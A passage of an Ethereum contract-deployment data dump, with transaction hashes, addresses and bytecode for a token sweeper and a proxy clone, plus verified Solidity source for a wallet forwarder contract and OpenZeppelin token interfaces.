11287c9ade931975bc93196c7a0bb9f057ada72890ddc636cc1b0de4917dfb11f93c18d1103a3f35b72f85423529f752c6228bcfbfe479509bbbb664cfe5fb92cc15050a62a77553930a5f6af5dfc7e99a186ab075bfef000eeb0e4b5149251eac7a74a32eded8000ead4607c10ce55655a4a27b4eba0f507e13a604b6e5059c8bef10a9773d8f0cfef65adb73faab8ca97a8cbd40e7ecbcb15458069bc395a77767173f09dda0f90b98a7d07fed10d5645e6fae93b482e19c80db27dad43bc60c36efa4a5521220863099dea3813dad26639f8392eaa7751c161e2a5d58f8202e17bd6179e9bbfa44a1eeb9f3e873dbdd3266cf1583379ae3ba1fcab3e96bc1c3fcb7bc4b0d5105b4acc47beb9bb8aa552daad4ea4f91ecc7cc58cf710f823b97071e615fbcbf77eacedfd97bbef4ea37ed37b3072c8ec432545df7df3362d376da18b3ee8e5bac25eedc8bc8be4e1c82e5dbb1b8af13a7f3769799f94c9686c5dcbd108ca9feaa62e61fabe1c7fa9bb8344c5e3862fd5d518e0421833bac557d8689b454eb96d9e7e11c1ff13b6b9bc6ac716094424958bc4637c2c3d0fa158ca9c639de5c7962ea713ec2ccc7b817c8eb31f6c9a85655a9b3e583493a2fa6ecdf603ee5cb7b01c2c8fbaba5b9b42fcde0eed956e3ba6c6ea18bdabae93ffd1d5f30062cc8ee40f3b79e4aa7176e9725bcc0044fc5783d33f6257b51ccedf25a1dafede3f1dba840d551a334dee4c5c9dd15a7a9e9387097ec9a878f54ca7347099bfb1554435f2a99b0c9a48ff935364036ab2e8d5fd5f05cbab5db210f23d9a816daa98bc85d6d16d8e5df72f81e57e98f5f3db329a447f0a4da6a395dcb247ecc7b449883b6d4ed8fc39117d78a68f6979686bdc625a6b2e80c82969de6a7e2c0ab77795689fa5d17f78116acb8899b81390246c82aefe5b12548cfab655bf1e654d0e586ca3186a4f8053cbc548a8f2dca71fe2dbe78379312c9ca392e82c2f7f7f9bf9c22a5f7eff7d41e4ff4b65e3474fc9d74434cf9f7ce4c411686e013324c701c7866bcb88927e9986cc9d0e6377cc0c0874150ca3306437d4762e9ed101ea53f3eacf002729bab0f5ae9661f13a2622c82e2ee878022b37eea707efc269f8fb1343b28db35f2f1cc88402aa01ee3b817d4222b824ce3c013e858cadf49a847536444bf7baaa38b5ac4be1ece8d3431bf8e60c1160542912c787f8f0a727bcf90f381e66d9c9634baa501cd49026c03a8cbb8d2ac72add446ef2eb70763cab6afb97fc4cb9367a428f6e39666a7e270a9255b89133fb1cf32db5764a4bf14e5c85e1365baa1055a8c073399e1452d74ea8f4d46220fa4a42a7ec6b734b7f9698deb668406b01e3283f319d20bdfd77a4edd10897a9af9820854f5e64bedf7ebdfc1ffd282a5e70299db7cd4cb2cdc7dd04a61e933491a47fbcb083803db788a1bbf9991e683646996ee36224a48b49ab74685c4f7a88debdedd7e01d30d00590d5d5ad36299b0916102eb1b5a76db6e1156cb57ad0c9f8a721e8d8dfeda65684e14d2bc5efddf09d1b0b57d4f6f379dc485a98de975906993b789e9f8b029cb851d887535986d6d464590f841e626e98efec971514e2de084182d8212ad6ec1800704455f7ddcc3dce5b43b7de373da1d0f2e43457bf16ec1faea5ec75bcb6c7f3eca71fbfa481ea21af50005db15561a9677f3c57d9364574c653187bf96f11c1f36662187fd950b7ce5691864cc82fc88215a6ceb35f3f93c15c5c5f926c95cc6b3be871a586163c15a85459b31611f4269d7566d5db3ecb5d222501d51a817ff3488a13924a8bfe5e8e84d866acbdc047f5116302d9fefa678362b28af80d6d6d1f30b72e40268e8dd23310d3356a29b350d655c1d679368c8357dda01b33afee3028e8e153843bf765df3a3bf4717f54f04fc76e159f1b4e83869393378518e118be711a8f4522cd0cf3f47964e0d1264e52faa43d9582faa233adff525c5ca258c79a26bda4ba385be6d394afc2cc6eef8fafc29bd50ec49fcaf0ec26ecbb14f6205e58b9214d44e55d363da48aaa93ca8dfe029752b4542da2192bdadd49a6c7704d5a28daa338752c333b2b336adfe1bd8df6a8ea386ed3720ba985f3a576684a1240f1085e67094ff42320680d1197c8afde0d75c602ebe6ceabe3c0d6ceeaf903fc609073896c497b306ec244556fef7f8125ab2a7ff99f3b6b1df2656aaa6f1eabc35f0070e528e78815ff3634121e2451d034b18a08a28869f08049f9df6f79b65da1dfcec50e057872f1bf8ff79866e99f6eea6c03dc64818c818e147459099298ea145a72705ddbd93296eac15f2a330067c1ea4bae8d4fdd9fa5c9e976b7b8e77956301eedb966e8c2c34b3633fa2f3f1facd8e04e4f57fd397048684540f308744c88b198b1243dfe7093e6c18e4593c7c5bb52f317db3c0342e6430755f8ea77edaf569d98d1132ac3f48ae511e986e0e2b9c113b7e480cbd421da1ed508e938f6ac0c45a7fd53ede80bcb127a326b2db828057e462b64efb9f9c2cc9769f40d760fc5acdede59720130ce336bf7fa410b41bba118c2c72995e7d74c441c722d5f8733ff95129188de35f7e303bffd16e9bd009e948aaa8dd403505ddee3d1e38822ecc89bdaca2d2ff3450ff6f087eacf534b1986f0fe1e9a06ddb2871e34bb14fe0c7eac6981a569f784e56b3c1ff50cf7f69192067fed6eb9e45a59fc4fc7d6a24d38c086a2735e7305769094df65727d915c0b45e90010bbfaa5099d27c2f0f140e5960804eee25cda8d8abea27550564ac982c20a7ae48b06e6f39f1f5d1db03853b0cd880aa8df5c0625cf93680f95991f5b3fe23c7e01f6f76478c49752ce25109e2bd771d7ebe0cf4d2f8f74d28cff65f37fdbb84ffd7e7a2ff5d5924ce09f53d0193e0c07f4f9aea7a6a8867b6e1ff03
1
19,501,471
d1cb7551a3b17f58144786b6a73ed20f31921ec8a9686c88c14c3e66440692a7
75a69c4e14c8dc309c8e93f3dd584c2f2a0f7d80ef5134dff7e51bda10133a40
d2ffa17cca4b5b162ef61e818cd0b7d28f051463
172799fca760b87321ac77c5f4abc49021c486f6
7f2bd85a5ddf7f1fffc75c5c858b6198090e106f
608060405234801561001057600080fd5b50610362806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032
608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032
1
19,501,473
9b1ae349475b90827844332d321087594e9ee1c13fd602c245fa19359f999fd8
5215a9c246693904af67161b45009e51baccf108f5ec81070d0bca61f7e5d9ed
578f533873dc8ea60ab1417180cc531f172ee292
29ef46035e9fa3d570c598d3266424ca11413b0c
0208fa9253e125a705d4c9017a26f0e3098196f7
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "contracts/Forwarder.sol": { "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/ERC20Interface.sol": { "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n" }, "contracts/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n" }, "contracts/IForwarder.sol": { "content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n" }, "@openzeppelin/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n 